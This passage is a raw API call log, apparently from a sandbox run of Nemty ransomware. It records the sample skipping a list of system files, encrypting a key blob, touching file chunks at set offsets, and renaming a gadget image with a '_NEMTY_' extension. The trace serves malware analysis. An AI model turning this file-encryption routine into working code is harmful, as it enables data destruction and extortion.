lstrcmpiW (lpString1="bPrev-disable.png", lpString2="ntuser.dat") returned -1 [0110.836] lstrcmpiW (lpString1="bPrev-disable.png", lpString2="desktop.ini") returned -1 [0110.836] lstrcmpiW (lpString1="bPrev-disable.png", lpString2="CONFIG.SYS") returned -1 [0110.837] lstrcmpiW (lpString1="bPrev-disable.png", lpString2="RECYCLER") returned -1 [0110.837] lstrcmpiW (lpString1="bPrev-disable.png", lpString2="BOOTSECT.BAK") returned 1 [0110.837] lstrcmpiW (lpString1="bPrev-disable.png", lpString2="bootmgr") returned 1 [0110.837] lstrcmpiW (lpString1="bPrev-disable.png", lpString2="programdata") returned -1 [0110.837] lstrcmpiW (lpString1="bPrev-disable.png", lpString2="appdata") returned 1 [0110.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0110.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-disable.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0110.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-disable.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bPrev-disable.png", lpUsedDefaultChar=0x0) returned 17 [0110.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0110.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-disable.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0110.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-disable.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bPrev-disable.png", lpUsedDefaultChar=0x0) returned 17 [0110.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0110.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0110.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0110.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-disable.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0110.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-disable.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bPrev-disable.png", lpUsedDefaultChar=0x0) returned 17 [0110.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0110.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0110.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-disable.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0110.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0110.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-disable.png", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bPrev-disable.png", lpUsedDefaultChar=0x0) returned 17 [0110.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0110.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340240 [0110.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0110.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0110.837] Sleep (dwMilliseconds=0x5) [0110.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf5b82f70, dwHighDateTime=0x1d561e7)) [0110.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf5b82f70, dwHighDateTime=0x1d561e7)) [0110.851] GetLastError () returned 0x5 [0110.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0110.851] GetLastError () returned 0x5 [0110.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0110.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0110.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0110.852] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0110.852] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0110.852] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0110.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63403b0 [0110.852] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63403b0, pcchString=0x653e91c | out: pszString="vPPBphU10lYHEYLaLTRkjx9dnAmY1p40V0uNGyfJXoTpo7ddmFkhydd62fDNzGC+\r\ncF18m8+F+YdE1mclwmTZsxogmztdFUlifSZNx6tg5PFz1mKEFgAllAN3Em5omWKw\r\nq7WMnhcqAd5yj+LkwYGb4CPYL+Xlj8rFm1t6Qd2y77NKAuD6QwHRTAEF2ywtB3E6\r\nVNIhl9Zqcv85wz0FgbQsvGmiGzyykC5+nQyvnpXnYhypYNtkFur3gV2vF+zRkv0f\r\nioB9meanHmfq7jhentBwxNMj8SMNdeTovLhRe8FcAYJsC7jvS6rACvTQlw6u7oqW\r\nZy/04RYpVMlYOjKr0DzqHw==\r\n", pcchString=0x653e91c) returned 1 [0110.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0110.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0110.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0110.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0110.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63403b0 [0110.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0110.852] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-disable.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-disable.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.853] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0110.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0110.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.853] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.862] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.863] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.872] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.872] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.882] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.882] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.891] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.891] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.892] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.901] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.901] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.910] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.910] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.920] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.929] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.929] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.939] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.939] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.948] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.948] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.954] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.954] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.960] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.960] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63403b0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0110.960] CloseHandle (hObject=0xffffffff) returned 0 [0110.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340520 [0110.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0110.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0110.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0110.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0110.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0110.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0110.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0110.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0110.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0110.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-disable.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-disable.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-disable.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-disable.png._nemty_kgobjgd_")) returned 0 [0110.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0110.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340520 | out: hHeap=0x4f90000) returned 1 [0110.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0110.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0110.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0110.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0110.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0110.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0110.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0110.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.961] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239fda1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8239fda1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28219f9b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x199, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="bPrev-down.png", cAlternateFileName="")) returned 1 [0110.961] lstrcmpiW (lpString1="bPrev-down.png", lpString2=".") returned 1 [0110.961] lstrcmpiW (lpString1="bPrev-down.png", lpString2="..") returned 1 [0110.961] lstrcmpiW (lpString1="bPrev-down.png", lpString2="...") returned 1 [0110.961] lstrcmpiW (lpString1="bPrev-down.png", lpString2="windows") returned -1 [0110.961] lstrcmpiW (lpString1="bPrev-down.png", lpString2="$RECYCLE.BIN") returned 1 [0110.961] lstrcmpiW (lpString1="bPrev-down.png", lpString2="rsa") returned -1 [0110.961] lstrcmpiW (lpString1="bPrev-down.png", lpString2="NTDETECT.COM") returned -1 [0110.961] lstrcmpiW (lpString1="bPrev-down.png", lpString2="ntldr") returned -1 [0110.961] lstrcmpiW (lpString1="bPrev-down.png", lpString2="MSDOS.SYS") returned -1 [0110.961] lstrcmpiW (lpString1="bPrev-down.png", lpString2="IO.SYS") returned -1 [0110.961] lstrcmpiW (lpString1="bPrev-down.png", lpString2="boot.ini") returned 1 [0110.961] lstrcmpiW (lpString1="bPrev-down.png", lpString2="boot.ini") returned 1 [0110.962] lstrcmpiW (lpString1="bPrev-down.png", lpString2="AUTOEXEC.BAT") returned 1 [0110.962] lstrcmpiW (lpString1="bPrev-down.png", lpString2="ntuser.dat") returned -1 [0110.962] lstrcmpiW (lpString1="bPrev-down.png", lpString2="desktop.ini") returned -1 [0110.962] lstrcmpiW (lpString1="bPrev-down.png", lpString2="CONFIG.SYS") returned -1 [0110.962] lstrcmpiW (lpString1="bPrev-down.png", lpString2="RECYCLER") returned -1 [0110.962] lstrcmpiW (lpString1="bPrev-down.png", lpString2="BOOTSECT.BAK") returned 1 [0110.962] lstrcmpiW (lpString1="bPrev-down.png", lpString2="bootmgr") returned 1 [0110.962] lstrcmpiW (lpString1="bPrev-down.png", lpString2="programdata") returned -1 [0110.962] lstrcmpiW (lpString1="bPrev-down.png", lpString2="appdata") returned 1 [0110.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0110.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-down.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bPrev-down.png", lpUsedDefaultChar=0x0) returned 14 [0110.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0110.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0110.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-down.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bPrev-down.png", lpUsedDefaultChar=0x0) returned 14 [0110.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0110.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev-down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 